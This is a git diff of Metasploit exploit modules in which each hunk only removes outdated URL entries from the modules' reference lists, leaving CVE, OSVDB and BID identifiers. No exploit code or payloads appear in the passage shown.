b/modules/exploits/unix/ftp/proftpd_133c_backdoor.rb index 47bf09d755..71a4fd8416 100644 --- a/modules/exploits/unix/ftp/proftpd_133c_backdoor.rb +++ b/modules/exploits/unix/ftp/proftpd_133c_backdoor.rb @@ -23,8 +23,7 @@ class Metasploit3 < Msf::Exploit::Remote 'References' => [ [ 'OSVDB', '69562'], - [ 'BID', '45150' ], - [ 'URL', 'http://sourceforge.net/mailarchive/message.php?msg_name=alpine.DEB.2.00.1012011542220.12930%40familiar.castaglia.org' ], + [ 'BID', '45150' ] ], 'Privileged' => true, 'Platform' => [ 'unix' ], diff --git a/modules/exploits/unix/ssh/tectia_passwd_changereq.rb b/modules/exploits/unix/ssh/tectia_passwd_changereq.rb index c2931b66be..5c1510028b 100644 --- a/modules/exploits/unix/ssh/tectia_passwd_changereq.rb +++ b/modules/exploits/unix/ssh/tectia_passwd_changereq.rb @@ -32,8 +32,7 @@ class Metasploit3 < Msf::Exploit::Remote ['CVE', '2012-5975'], ['EDB', '23082'], ['OSVDB', '88103'], - ['URL', 'http://seclists.org/fulldisclosure/2012/Dec/12'], - ['URL', 'http://www.ssh.com/index.php/component/content/article/531.html'] + ['URL', 'http://seclists.org/fulldisclosure/2012/Dec/12'] ], 'Payload' => { diff --git a/modules/exploits/unix/webapp/awstatstotals_multisort.rb b/modules/exploits/unix/webapp/awstatstotals_multisort.rb index 21740ab4c0..de4f73f6b2 100644 --- a/modules/exploits/unix/webapp/awstatstotals_multisort.rb +++ b/modules/exploits/unix/webapp/awstatstotals_multisort.rb @@ -25,8 +25,7 @@ class Metasploit3 < Msf::Exploit::Remote [ ['CVE', '2008-3922'], ['OSVDB', '47807'], - ['BID', '30856'], - ['URL', 'http://userwww.service.emory.edu/~ekenda2/EMORY-2008-01.txt'], + ['BID', '30856'] ], 'Privileged' => false, 'Payload' => diff --git a/modules/exploits/unix/webapp/barracuda_img_exec.rb b/modules/exploits/unix/webapp/barracuda_img_exec.rb index efd696926d..ce3cf84b4a 100644 --- a/modules/exploits/unix/webapp/barracuda_img_exec.rb +++ b/modules/exploits/unix/webapp/barracuda_img_exec.rb @@ -25,8 +25,7 @@ class Metasploit3 < Msf::Exploit::Remote ['CVE', '2005-2847'], ['OSVDB', '19279'], ['BID', '14712'], - ['URL', 'http://www.nessus.org/plugins/index.php?view=single&id=19556'], - ['URL', 'http://www.securiweb.net/wiki/Ressources/AvisDeSecurite/2005.1'], + ['URL', 'http://www.nessus.org/plugins/index.php?view=single&id=19556'] ], 'Privileged' => false, 'Payload' => diff --git a/modules/exploits/unix/webapp/mitel_awc_exec.rb b/modules/exploits/unix/webapp/mitel_awc_exec.rb index 36a4990de3..8179ffc36a 100644 --- a/modules/exploits/unix/webapp/mitel_awc_exec.rb +++ b/modules/exploits/unix/webapp/mitel_awc_exec.rb @@ -21,8 +21,6 @@ class Metasploit3 < Msf::Exploit::Remote 'License' => MSF_LICENSE, 'References' => [ - - ['URL', 'http://www.procheckup.com/vulnerability_manager/vulnerabilities/pr10-14'], ['OSVDB', '69934'], # ['CVE', ''], # ['BID', ''] diff --git a/modules/exploits/unix/webapp/mybb_backdoor.rb b/modules/exploits/unix/webapp/mybb_backdoor.rb index 2d2f2cdb36..3f92aa03d9 100644 --- a/modules/exploits/unix/webapp/mybb_backdoor.rb +++ b/modules/exploits/unix/webapp/mybb_backdoor.rb @@ -27,8 +27,7 @@ class Metasploit3 < Msf::Exploit::Remote [ 'OSVDB', '76111' ], [ 'BID', '49993' ], [ 'SECUNIA', '46300' ], - [ 'URL', 'http://blog.mybb.com/2011/10/06/1-6-4-security-vulnerabilit/' ], - [ 'URL', 'http://blog.mybb.com/wp-content/uploads/2011/10/mybb_1604_patches.txt' ] + [ 'URL', 'http://blog.mybb.com/2011/10/06/1-6-4-security-vulnerabilit/' ] ], 'Privileged' => false, 'Platform' => ['php'], diff --git a/modules/exploits/unix/webapp/nagios3_history_cgi.rb b/modules/exploits/unix/webapp/nagios3_history_cgi.rb index db25a970a2..3f0ec69676 100644 --- a/modules/exploits/unix/webapp/nagios3_history_cgi.rb +++ b/modules/exploits/unix/webapp/nagios3_history_cgi.rb @@ -31,8 +31,7 @@ class Metasploit3 < Msf::Exploit::Remote [ 'CVE', '2012-6096' ], [ 'OSVDB', '88322' ], [ 'BID', '56879' ], - [ 'EDB', '24084' ], - [ 'URL', 'http://lists.grok.org.uk/pipermail/full-disclosure/2012-December/089125.html' ] + [ 'EDB', '24084' ] ], 'Platform' => %w{ linux unix }, 'Arch' => [ ARCH_X86 ], diff --git a/modules/exploits/unix/webapp/openx_banner_edit.rb b/modules/exploits/unix/webapp/openx_banner_edit.rb index e2f0b08e04..d76318ede7 100644 --- a/modules/exploits/unix/webapp/openx_banner_edit.rb +++ b/modules/exploits/unix/webapp/openx_banner_edit.rb @@ -30,7 +30,6 @@ class Metasploit3 < Msf::Exploit::Remote [ 'OSVDB', '60499' ], [ 'BID', '37110' ], [ 'URL', 'http://archives.neohapsis.com/archives/bugtraq/2009-11/0166.html' ], - [ 'URL', 'https://developer.openx.org/jira/browse/OX-5747' ], [ 'URL', 'http://www.openx.org/docs/2.8/release-notes/openx-2.8.2' ], # References for making small images: [ 'URL', 'http://php.net/manual/en/function.getimagesize.php' ], diff --git a/modules/exploits/unix/webapp/squirrelmail_pgp_plugin.rb b/modules/exploits/unix/webapp/squirrelmail_pgp_plugin.rb index 3e3df1ab65..a116da0fa5 100644 --- a/modules/exploits/unix/webapp/squirrelmail_pgp_plugin.rb +++ b/modules/exploits/unix/webapp/squirrelmail_pgp_plugin.rb @@ -33,7 +33,6 @@ class Metasploit3 < Msf::Exploit::Remote [ ['CVE', '2003-0990'], ['OSVDB', '3178'], - ['URL', 'http://lists.immunitysec.com/pipermail/dailydave/2007-July/004456.html'], ['URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=330'], ['URL', 'http://www.wslabi.com/wabisabilabi/initPublishedBid.do?'], ], diff --git a/modules/exploits/windows/backupexec/remote_agent.rb b/modules/exploits/windows/backupexec/remote_agent.rb index b40389ec0c..13431a8ea1 100644 --- a/modules/exploits/windows/backupexec/remote_agent.rb +++ b/modules/exploits/windows/backupexec/remote_agent.rb @@ -28,8 +28,7 @@ class Metasploit3 < Msf::Exploit::Remote [ 'CVE', '2005-0773'], [ 'OSVDB', '17624'], [ 'BID', '14022'], - [ 'URL', 'http://www.idefense.com/application/poi/display?id=272&type=vulnerabilities'], - [ 'URL', 'http://seer.support.veritas.com/docs/276604.htm'], + [ 'URL', 'http://www.idefense.com/application/poi/display?id=272&type=vulnerabilities'] ], 'Privileged' => true, 'DefaultOptions' => diff --git a/modules/exploits/windows/brightstor/tape_engine.rb b/modules/exploits/windows/brightstor/tape_engine.rb index 40e00171fa..dc9da31f15 100644 --- a/modules/exploits/windows/brightstor/tape_engine.rb +++ b/modules/exploits/windows/brightstor/tape_engine.rb @@ -26,8 +26,7 @@ class Metasploit3 < Msf::Exploit::Remote [ 'CVE', '2006-6076' ], [ 'OSVDB', '30637' ], [ 'BID', '21221' ], - [ 'EDB', '3086' ], - [ 'URL', 'http://www.ca.com/us/securityadvisor/newsinfo/collateral.aspx?cid=101317' ], + [ 'EDB', '3086' ] ], 'Privileged' => true, 'DefaultOptions' => diff --git a/modules/exploits/windows/browser/adobe_flash_avm2.rb b/modules/exploits/windows/browser/adobe_flash_avm2.rb index 7815ef80db..2194a15c1e 100644 --- a/modules/exploits/windows/browser/adobe_flash_avm2.rb +++ b/modules/exploits/windows/browser/adobe_flash_avm2.rb @@ -34,8 +34,7 @@ class Metasploit3 < Msf::Exploit::Remote [ 'OSVDB', '102849' ], [ 'BID', '65327' ], [ 'URL', 'http://helpx.adobe.com/security/products/flash-player/apsb14-04.html' ], - [ 'URL', 'http://blogs.technet.com/b/mmpc/archive/2014/02/17/a-journey-to-cve-2014-0497-exploit.aspx' ], - [ 'URL', 'http://blog.vulnhunt.com/index.php/2014/02/20/cve-2014-0497_analysis/' ] + [ 'URL', 'http://blogs.technet.com/b/mmpc/archive/2014/02/17/a-journey-to-cve-2014-0497-exploit.aspx' ] ], 'Payload' => { diff --git a/modules/exploits/windows/browser/adobe_flash_otf_font.rb b/modules/exploits/windows/browser/adobe_flash_otf_font.rb index 07db952f60..e1f1d0072b 100644 --- a/modules/exploits/windows/browser/adobe_flash_otf_font.rb +++ b/modules/exploits/windows/browser/adobe_flash_otf_font.rb @@ -37,7 +37,6 @@ class Metasploit3 < Msf::Exploit::Remote [ 'OSVDB', '84607'], [ 'BID', '55009'], [ 'URL', 'http://labs.alienvault.com/labs/index.php/2012/cve-2012-1535-adobe-flash-being-exploited-in-the-wild/' ], - [ 'URL', 'http://vrt-blog.snort.org/2012/08/cve-2012-1535-flash-0-day-in-wild.html' ], [ 'URL', 'https://developer.apple.com/fonts/TTRefMan/RM06/Chap6.html' ], [ 'URL', 'http://contagiodump.blogspot.com.es/2012/08/cve-2012-1535-samples-and-info.html' ], [ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2012/08/17/adobe-flash-player-exploit-cve-2012-1535-now-available-for-metasploit' ], diff --git a/modules/exploits/windows/browser/adobe_flash_sps.rb b/modules/exploits/windows/browser/adobe_flash_sps.rb index c1dbabc00a..8acbbb573a 100644 --- a/modules/exploits/windows/browser/adobe_flash_sps.rb +++ b/modules/exploits/windows/browser/adobe_flash_sps.rb @@ -37,8 +37,7 @@ class Metasploit3 < Msf::Exploit::Remote [ 'ZDI', '11-276' ], [ 'URL', 'http://www.kahusecurity.com/2011/cve-2011-2140-caught-in-the-wild/' ], [ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb11-21.html' ], - [ 'URL', 'http://0x1byte.blogspot.com/2011/11/analysis-of-cve-2011-2140-adobe-flash.html' ], - [ 'URL', 'http://www.abysssec.com/blog/2012/01/31/exploiting-cve-2011-2140-another-flash-player-vulnerability/' ] + [ 'URL', 'http://0x1byte.blogspot.com/2011/11/analysis-of-cve-2011-2140-adobe-flash.html' ] ], 'Payload' => { diff --git a/modules/exploits/windows/browser/adobe_flatedecode_predictor02.rb b/modules/exploits/windows/browser/adobe_flatedecode_predictor02.rb index 6da6ac541f..bfcdff41d3 100644 --- a/modules/exploits/windows/browser/adobe_flatedecode_predictor02.rb +++ b/modules/exploits/windows/browser/adobe_flatedecode_predictor02.rb @@ -32,8 +32,7 @@ class Metasploit3 < Msf::Exploit::Remote [ 'BID', '36600' ], [ 'OSVDB', '58729' ], [ 'URL', 'http://blogs.adobe.com/psirt/2009/10/adobe_reader_and_acrobat_issue_1.html' ], - [ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb09-15.html' ], - [ 'URL', 'http://www.fortiguard.com/analysis/pdfanalysis.html' ], + [ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb09-15.html' ] ], 'DefaultOptions' => { diff --git a/modules/exploits/windows/browser/adobe_jbig2decode.rb b/modules/exploits/windows/browser/adobe_jbig2decode.rb index 7d04b7251d..92bece600b 100644 --- a/modules/exploits/windows/browser/adobe_jbig2decode.rb +++ b/modules/exploits/windows/browser/adobe_jbig2decode.rb @@ -32,7 +32,6 @@ class Metasploit3 < Msf::Exploit::Remote [ [ 'CVE' , '2009-0658' ], [ 'OSVDB', '52073' ], - [ 'URL', 'http://bl4cksecurity.blogspot.com/2009/03/adobe-acrobatreader-universal-exploit.html'], [ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb09-04.html'] ], 'DefaultOptions' => diff --git a/modules/exploits/windows/browser/adobe_shockwave_rcsl_corruption.rb b/modules/exploits/windows/browser/adobe_shockwave_rcsl_corruption.rb index 022e9a69d6..6d3843fb63 100644 --- a/modules/exploits/windows/browser/adobe_shockwave_rcsl_corruption.rb +++ b/modules/exploits/windows/browser/adobe_shockwave_rcsl_corruption.rb @@ -24,7 +24,6 @@ class Metasploit3 < Msf::Exploit::Remote [ [ 'CVE', '2010-3653'], [ 'OSVDB', '68803'], - [ 'URL', 'http://www.exploit-db.com/sploits/Adobe_Shockwave_Director_rcsL_Chunk_Memory_Corruption.zip' ], [ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb10-25.html' ] ], 'DefaultOptions' => diff --git a/modules/exploits/windows/browser/apple_quicktime_rtsp.rb b/modules/exploits/windows/browser/apple_quicktime_rtsp.rb index 46fcbed806..0a2cdaa1ed 100644 --- a/modules/exploits/windows/browser/apple_quicktime_rtsp.rb +++ b/modules/exploits/windows/browser/apple_quicktime_rtsp.rb @@ -35,8 +35,7 @@ class Metasploit3 < Msf::Exploit::Remote [ [ 'CVE', '2007-0015' ], [ 'OSVDB', '31023'], - [ 'BID', '21829' ], - [ 'URL', 'http://projects.info-pull.com/moab/MOAB-01-01-2007.html' ], + [ 'BID', '21829' ] ], 'DefaultOptions' => { diff --git a/modules/exploits/windows/browser/ask_shortformat.rb b/modules/exploits/windows/browser/ask_shortformat.rb index bb79ac5767..f73ec53adf 100644 --- a/modules/exploits/windows/browser/ask_shortformat.rb +++ b/modules/exploits/windows/browser/ask_shortformat.rb @@ -25,8 +25,7 @@ class Metasploit3 < Msf::Exploit::Remote 'References' => [ [ 'CVE', '2007-5107' ], - [ 'OSVDB', '37735' ], - [ 'URL', 'http://wslabi.com/wabisabilabi/showBidInfo.do?code=ZD-00000148' ], + [ 'OSVDB', '37735' ] ], 'DefaultOptions' => { diff --git a/modules/exploits/windows/browser/athocgov_completeinstallation.rb b/modules/exploits/windows/browser/athocgov_completeinstallation.rb index 85ddced7b4..695e939113 100644 --- a/modules/exploits/windows/browser/athocgov_completeinstallation.rb +++ b/modules/exploits/windows/browser/athocgov_completeinstallation.rb @@ -23,8 +23,7 @@ class Metasploit3 < Msf::Exploit::Remote 'Author' => [ 'MC' ], 'References' => [ - [ 'OSVDB', '94557' ], - [ 'URL', 'http://www.athoc.com/products/IWSAlerts_overview.aspx' ] + [ 'OSVDB', '94557' ] ], 'DefaultOptions' => { diff --git a/modules/exploits/windows/browser/awingsoft_web3d_bof.rb b/modules/exploits/windows/browser/awingsoft_web3d_bof.rb index 50e9b2a3dd..770403a7c7 100644 --- a/modules/exploits/windows/browser/awingsoft_web3d_bof.rb +++ b/modules/exploits/windows/browser/awingsoft_web3d_bof.rb @@ -50,7 +50,6 @@ class Metasploit3 < Msf::Exploit::Remote [ 'CVE', '2009-4588' ], [ 'OSVDB', '60017' ], [ 'EDB', '9116' ], - [ 'URL', 'http://www.shinnai.net/exploits/nsGUdeley3EHfKEV690p.txt' ], [ 'URL', 'http://www.rec-sec.com/2009/07/28/awingsoft-web3d-buffer-overflow/' ] ], 'DefaultOptions' => diff --git a/modules/exploits/windows/browser/c6_messenger_downloaderactivex.rb b/modules/exploits/windows/browser/c6_messenger_downloaderactivex.rb index 16b4befcb5..b4ffe3edf2 100644 --- a/modules/exploits/windows/browser/c6_messenger_downloaderactivex.rb +++ b/modules/exploits/windows/browser/c6_messenger_downloaderactivex.rb @@ -30,8 +30,7 @@ class Metasploit3 < Msf::Exploit::Remote [ [ 'CVE', '2008-2551' ], [ 'OSVDB', '45960' ], - [ 'BID', '29519' ], - [ 'URL', 'http://retrogod.altervista.org/9sg_c6_download_exec.html' ], + [ 'BID', '29519' ] ], 'DefaultOptions' => { diff --git a/modules/exploits/windows/browser/foxit_reader_plugin_url_bof.rb b/modules/exploits/windows/browser/foxit_reader_plugin_url_bof.rb index 8f52e0cb0f..66f3e99668 100644 --- a/modules/exploits/windows/browser/foxit_reader_plugin_url_bof.rb +++ b/modules/exploits/windows/browser/foxit_reader_plugin_url_bof.rb @@ -34,7 +34,6 @@ class Metasploit3 < Msf::Exploit::Remote [ 'OSVDB', '89030' ], [ 'BID', '57174' ], [ 'EDB', '23944' ], - [ 'URL', 'http://retrogod.altervista.org/9sg_foxit_overflow.htm' ], [ 'URL', 'http://secunia.com/advisories/51733/' ] ], 'Payload' => diff --git a/modules/exploits/windows/browser/hp_loadrunner_addfile.rb b/modules/exploits/windows/browser/hp_loadrunner_addfile.rb index 8fd3962f27..bc4efcd457 100644 --- a/modules/exploits/windows/browser/hp_loadrunner_addfile.rb +++ b/modules/exploits/windows/browser/hp_loadrunner_addfile.rb @@ -27,8 +27,7 @@ class Metasploit3 < Msf::Exploit::Remote [ 'CVE', '2008-0492'], [ 'OSVDB', '40762'], [ 'BID', '27456' ], - [ 'EDB', '4987' ], - [ 'URL', 'http://lists.grok.org.uk/pipermail/full-disclosure/2007-December/059296.html' ], + [ 'EDB', '4987' ] ], 'DefaultOptions' => { diff --git a/modules/exploits/windows/browser/hp_loadrunner_addfolder.rb b/modules/exploits/windows/browser/hp_loadrunner_addfolder.rb index 175947c5ed..5b907dc8a2 100644 --- a/modules/exploits/windows/browser/hp_loadrunner_addfolder.rb +++ b/modules/exploits/windows/browser/hp_loadrunner_addfolder.rb @@ -25,8 +25,7 @@ class Metasploit3 < Msf::Exploit::Remote [ [ 'CVE', '2007-6530'], [ 'OSVDB', '39901'], - [ 'BID', '27025' ], - [ 'URL', 'http://lists.grok.org.uk/pipermail/full-disclosure/2007-December/059296.html' ], + [ 'BID', '27025' ] ], 'DefaultOptions' => { diff --git a/modules/exploits/windows/browser/ie_cbutton_uaf.rb b/modules/exploits/windows/browser/ie_cbutton_uaf.rb index 81301a134f..96a4f7cfc7 100644 --- a/modules/exploits/windows/browser/ie_cbutton_uaf.rb +++ b/modules/exploits/windows/browser/ie_cbutton_uaf.rb @@ -50,7 +50,6 @@ class Metasploit3 < Msf::Exploit::Remote [ 'MSB', 'MS13-008' ], [ 'URL', 'http://blog.fireeye.com/research/2012/12/council-foreign-relations-water-hole-attack-details.html'], [ 'URL', 'http://eromang.zataz.com/2012/12/29/attack-and-ie-0day-informations-used-against-council-on-foreign-relations/'], - [ 'URL', 'http://blog.vulnhunt.com/index.php/2012/12/29/new-ie-0day-coming-mshtmlcdwnbindinfo-object-use-after-free-vulnerability/' ], [ 'URL', 'http://technet.microsoft.com/en-us/security/advisory/2794220' ], [ 'URL', 'http://blogs.technet.com/b/srd/archive/2012/12/29/new-vulnerability-affecting-internet-explorer-8-users.aspx' ], [ 'URL', 'http://blog.exodusintel.com/2013/01/02/happy-new-year-analysis-of-cve-2012-4792/' ], diff --git a/modules/exploits/windows/browser/ie_execcommand_uaf.rb b/modules/exploits/windows/browser/ie_execcommand_uaf.rb index 469f8c32f6..6db53caf87 100644 --- a/modules/exploits/windows/browser/ie_execcommand_uaf.rb +++ b/modules/exploits/windows/browser/ie_execcommand_uaf.rb @@ -50,8 +50,7 @@ class Metasploit3 < Msf::Exploit::Remote [ 'OSVDB', '85532' ], [ 'MSB', 'MS12-063' ], [ 'URL', 'http://technet.microsoft.com/en-us/security/advisory/2757760' ], - [ 'URL', 'http://eromang.zataz.com/2012/09/16/zero-day-season-is-really-not-over-yet/' ], - [ 'URL', 'http://blog.vulnhunt.com/index.php/2012/09/17/ie-execcommand-fuction-use-after-free-vulnerability-0day/'] + [ 'URL', 'http://eromang.zataz.com/2012/09/16/zero-day-season-is-really-not-over-yet/' ] ], 'Payload' => { diff --git a/modules/exploits/windows/browser/macrovision_downloadandexecute.rb b/modules/exploits/windows/browser/macrovision_downloadandexecute.rb index b41222085d..d3a8fb15d1 100644 --- a/modules/exploits/windows/browser/macrovision_downloadandexecute.rb +++ b/modules/exploits/windows/browser/macrovision_downloadandexecute.rb @@ -23,8 +23,7 @@ class Metasploit3 < Msf::Exploit::Remote 'References' => [ [ 'CVE', '2007-5660' ], - [ 'OSVDB', '38347' ], - [ 'URL', 'http://lists.grok.org.uk/pipermail/full-disclosure/2007-December/059288.html' ], + [ 'OSVDB', '38347' ] ], 'DefaultOptions' => { diff --git a/modules/exploits/windows/browser/mcafee_mcsubmgr_vsprintf.rb b/modules/exploits/windows/browser/mcafee_mcsubmgr_vsprintf.rb index fd0d8dd703..ff4cf01a15 100644 --- a/modules/exploits/windows/browser/mcafee_mcsubmgr_vsprintf.rb +++ b/modules/exploits/windows/browser/mcafee_mcsubmgr_vsprintf.rb @@ -28,8 +28,7 @@ class Metasploit3 < Msf::Exploit::Remote [ [ 'CVE', '2006-3961'], [ 'OSVDB', '27698'], - [ 'BID', '19265'], - [ 'URL', 'http://lists.grok.org.uk/pipermail/full-disclosure/2006-August/048565.html'], + [ 'BID', '19265'] ], 'Payload' => { diff --git a/modules/exploits/windows/browser/ms06_001_wmf_setabortproc.rb b/modules/exploits/windows/browser/ms06_001_wmf_setabortproc.rb index 707780d274..65f8e87a6b 100644 --- a/modules/exploits/windows/browser/ms06_001_wmf_setabortproc.rb +++ b/modules/exploits/windows/browser/ms06_001_wmf_setabortproc.rb @@ -36,8 +36,7 @@ class Metasploit3 < Msf::Exploit::Remote ['MSB', 'MS06-001'], ['BID', '16074'], ['URL', 'http://www.microsoft.com/technet/security/advisory/912840.mspx'], - ['URL', 'http://wvware.sourceforge.net/caolan/ora-wmf.html'], - ['URL', 'http://www.geocad.ru/new/site/Formats/Graphics/wmf/wmf.txt'], + ['URL', 'http://wvware.sourceforge.net/caolan/ora-wmf.html'] ], 'DefaultOptions' => { diff --git a/modules/exploits/windows/browser/ms06_013_createtextrange.rb b/modules/exploits/windows/browser/ms06_013_createtextrange.rb index 4d26383509..8a7966917d 100644 --- a/modules/exploits/windows/browser/ms06_013_createtextrange.rb +++ b/modules/exploits/windows/browser/ms06_013_createtextrange.rb @@ -40,8 +40,7 @@ class Metasploit3 < Msf::Exploit::Remote ['US-CERT-VU', '876678'], ['URL', 'http://secunia.com/secunia_research/2006-7/advisory/'], ['URL', 'http://seclists.org/lists/bugtraq/2006/Mar/0410.html'], - ['URL', 'http://seclists.org/lists/fulldisclosure/2006/Mar/1439.html'], - ['URL', 'http://www.shog9.com/crashIE.html'], + ['URL', 'http://seclists.org/lists/fulldisclosure/2006/Mar/1439.html'] ], 'Payload' => { diff --git a/modules/exploits/windows/browser/ms06_057_webview_setslice.rb b/modules/exploits/windows/browser/ms06_057_webview_setslice.rb index 73e812c9da..16b12abc37 100644 --- a/modules/exploits/windows/browser/ms06_057_webview_setslice.rb +++ b/modules/exploits/windows/browser/ms06_057_webview_setslice.rb @@ -28,8 +28,7 @@ class Metasploit3 < Msf::Exploit::Remote [ 'CVE', '2006-3730'], [ 'OSVDB', '27110' ], [ 'MSB', 'MS06-057'], - [ 'BID', '19030' ], - [ 'URL', 'http://browserfun.blogspot.com/2006/07/mobb-18-webviewfoldericon-setslice.html' ] + [ 'BID', '19030' ] ], 'Payload' => { diff --git a/modules/exploits/windows/browser/ms06_067_keyframe.rb b/modules/exploits/windows/browser/ms06_067_keyframe.rb index e3623bfa65..775de5a215 100644 --- a/modules/exploits/windows/browser/ms06_067_keyframe.rb +++ b/modules/exploits/windows/browser/ms06_067_keyframe.rb @@ -49,8 +49,7 @@ class Metasploit3 < Msf::Exploit::Remote [ 'CVE', '2006-4777' ], [ 'OSVDB', '28842' ], [ 'BID', '20047' ], - [ 'MSB', 'MS06-067' ], - [ 'URL', 'https://www.blackhat.com/presentations/bh-eu-07/Sotirov/Sotirov-Source-Code.zip' ] + [ 'MSB', 'MS06-067' ] ], 'DefaultOptions' => { diff --git a/modules/exploits/windows/browser/ms07_017_ani_loadimage_chunksize.rb b/modules/exploits/windows/browser/ms07_017_ani_loadimage_chunksize.rb index f2db2ee5be..ebe1eb2403 100644 --- a/modules/exploits/windows/browser/ms07_017_ani_loadimage_chunksize.rb +++ b/modules/exploits/windows/browser/ms07_017_ani_loadimage_chunksize.rb @@ -46,8 +46,7 @@ class Metasploit3 < Msf::Exploit::Remote ['OSVDB', '33629'], ['BID', '23194'], ['MSB', 'MS07-017'], - ['URL', 'http://www.microsoft.com/technet/security/advisory/935423.mspx'], - ['URL', 'http://www.determina.com/security.research/vulnerabilities/ani-header.html'], + ['URL', 'http://www.microsoft.com/technet/security/advisory/935423.mspx'] ], 'DefaultOptions' => { diff --git a/modules/exploits/windows/browser/ms10_042_helpctr_xss_cmd_exec.rb b/modules/exploits/windows/browser/ms10_042_helpctr_xss_cmd_exec.rb index 1cf8d13642..3b272637f1 100644 --- a/modules/exploits/windows/browser/ms10_042_helpctr_xss_cmd_exec.rb +++ b/modules/exploits/windows/browser/ms10_042_helpctr_xss_cmd_exec.rb @@ -46,7 +46,6 @@ class Metasploit3 < Msf::Exploit::Remote [ [ 'CVE', '2010-1885' ], [ 'OSVDB', '65264' ], - [ 'URL', 'http://lock.cmpxchg8b.com/b10a58b75029f79b5f93f4add3ddf992/ADVISORY' ], [ 'URL', 'http://www.microsoft.com/technet/security/advisory/2219475.mspx' ], [ 'MSB', 'MS10-042'] ], diff --git a/modules/exploits/windows/browser/ms11_003_ie_css_import.rb b/modules/exploits/windows/browser/ms11_003_ie_css_import.rb index 9dac87eacf..cbb1e33a3e 100644 --- a/modules/exploits/windows/browser/ms11_003_ie_css_import.rb +++ b/modules/exploits/windows/browser/ms11_003_ie_css_import.rb @@ -50,8 +50,6 @@ class Metasploit3 < Msf::Exploit::Remote [ 'URL', 'http://www.microsoft.com/technet/security/advisory/2488013.mspx' ], [ 'URL', 'http://www.wooyun.org/bugs/wooyun-2010-0885' ], [ 'URL', 'http://seclists.org/fulldisclosure/2010/Dec/110' ], - [ 'URL', 'http://xcon.xfocus.net/XCon2010_ChenXie_EN.pdf' ], # .NET 2.0 ROP (slide 25) - [ 'URL', 'http://www.breakingpointsystems.com/community/blog/ie-vulnerability/' ], [ 'MSB', 'MS11-003' ] ], 'DefaultOptions' => diff --git a/modules/exploits/windows/browser/ms12_004_midi.rb b/modules/exploits/windows/browser/ms12_004_midi.rb index 3807116899..22dcfc7b6a 100644 --- a/modules/exploits/windows/browser/ms12_004_midi.rb +++ b/modules/exploits/windows/browser/ms12_004_midi.rb @@ -48,8 +48,7 @@ class Metasploit3 < Msf::Exploit::Remote [ 'MSB', 'MS12-004'], [ 'CVE', '2012-0003' ], [ 'OSVDB', '78210'], - [ 'BID', '51292'], - [ 'URL', 'http://www.vupen.com/blog/20120117.Advanced_Exploitation_of_Windows_MS12-004_CVE-2012-0003.php' ] + [ 'BID', '51292'] ], 'Payload' => { diff --git a/modules/exploits/windows/browser/ms12_037_ie_colspan.rb b/modules/exploits/windows/browser/ms12_037_ie_colspan.rb index 8f787555ae..de2192eb00 100644 --- a/modules/exploits/windows/browser/ms12_037_ie_colspan.rb +++ b/modules/exploits/windows/browser/ms12_037_ie_colspan.rb @@ -40,8 +40,7 @@ class Metasploit3 < Msf::Exploit::Remote [ 'CVE', '2012-1876' ], [ 'OSVDB', '82866'], [ 'BID', '53848' ], - [ 'MSB', 'MS12-037' ], - [ 'URL', 'http://www.vupen.com/blog/20120710.Advanced_Exploitation_of_Internet_Explorer_HeapOv_CVE-2012-1876.php' ] + [ 'MSB', 'MS12-037' ] ], 'DefaultOptions' => { diff --git a/modules/exploits/windows/browser/ms13_037_svg_dashstyle.rb b/modules/exploits/windows/browser/ms13_037_svg_dashstyle.rb index ea653fb54d..72a855ab3c 100644 --- a/modules/exploits/windows/browser/ms13_037_svg_dashstyle.rb +++ b/modules/exploits/windows/browser/ms13_037_svg_dashstyle.rb @@ -46,7 +46,6 @@ class Metasploit3 < Msf::Exploit::Remote [ 'OSVDB', '91197' ], [ 'BID', '58570' ], [ 'MSB', 'MS13-037' ], - [ 'URL', 'http://www.vupen.com/blog/20130522.Advanced_Exploitation_of_IE10_Windows8_Pwn2Own_2013.php' ], [ 'URL', 'http://binvul.com/viewthread.php?tid=311' ] ], 'Payload' => diff --git a/modules/exploits/windows/browser/msxml_get_definition_code_exec.rb b/modules/exploits/windows/browser/msxml_get_definition_code_exec.rb index dbc11ff69b..040ee2fa16 100644 --- a/modules/exploits/windows/browser/msxml_get_definition_code_exec.rb +++ b/modules/exploits/windows/browser/msxml_get_definition_code_exec.rb @@ -46,7 +46,6 @@ class Metasploit3 < Msf::Exploit::Remote [ 'MSB', 'MS12-043'], [ 'URL', 'http://technet.microsoft.com/en-us/security/advisory/2719615' ], [ 'URL', 'http://www.zdnet.com/blog/security/state-sponsored-attackers-using-ie-zero-day-to-hijack-gmail-accounts/12462' ], - [ 'URL', 'http://hi.baidu.com/inking26/blog/item/9c2ab11c4784e5aa86d6b6c1.html' ], [ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2012/06/18/metasploit-exploits-critical-microsoft-vulnerabilities' ] ], 'Payload' => diff --git a/modules/exploits/windows/browser/nctaudiofile2_setformatlikesample.rb b/modules/exploits/windows/browser/nctaudiofile2_setformatlikesample.rb index f2619483a0..5202ae760e 100644 --- a/modules/exploits/windows/browser/nctaudiofile2_setformatlikesample.rb +++ b/modules/exploits/windows/browser/nctaudiofile2_setformatlikesample.rb @@ -27,8 +27,7 @@ class Metasploit3 < Msf::Exploit::Remote [ 'CVE', '2007-0018' ], [ 'OSVDB', '32032' ], [ 'BID', '22196' ], - [ 'US-CERT-VU', '292713' ], - [ 'URL', 'http://lists.grok.org.uk/pipermail/full-disclosure/2007-May/062911.html' ] + [ 'US-CERT-VU', '292713' ] ], 'DefaultOptions' => { diff --git a/modules/exploits/windows/browser/persits_xupload_traversal.rb b/modules/exploits/windows/browser/persits_xupload_traversal.rb index 2441f5ff05..a74f4bcff9 100644 --- a/modules/exploits/windows/browser/persits_xupload_traversal.rb +++ b/modules/exploits/windows/browser/persits_xupload_traversal.rb @@ -29,8 +29,7 @@ class Metasploit3 < Msf::Exploit::Remote 'References' => [ [ 'CVE', '2009-3693'], - [ 'OSVDB', '60001'], - [ 'URL', 'http://retrogod.altervista.org/9sg_hp_loadrunner.html' ] + [ 'OSVDB', '60001'] ], 'DefaultOptions' => { diff --git a/modules/exploits/windows/browser/realplayer_qcp.rb b/modules/exploits/windows/browser/realplayer_qcp.rb index f6afba6374..c53b906c36 100644 --- 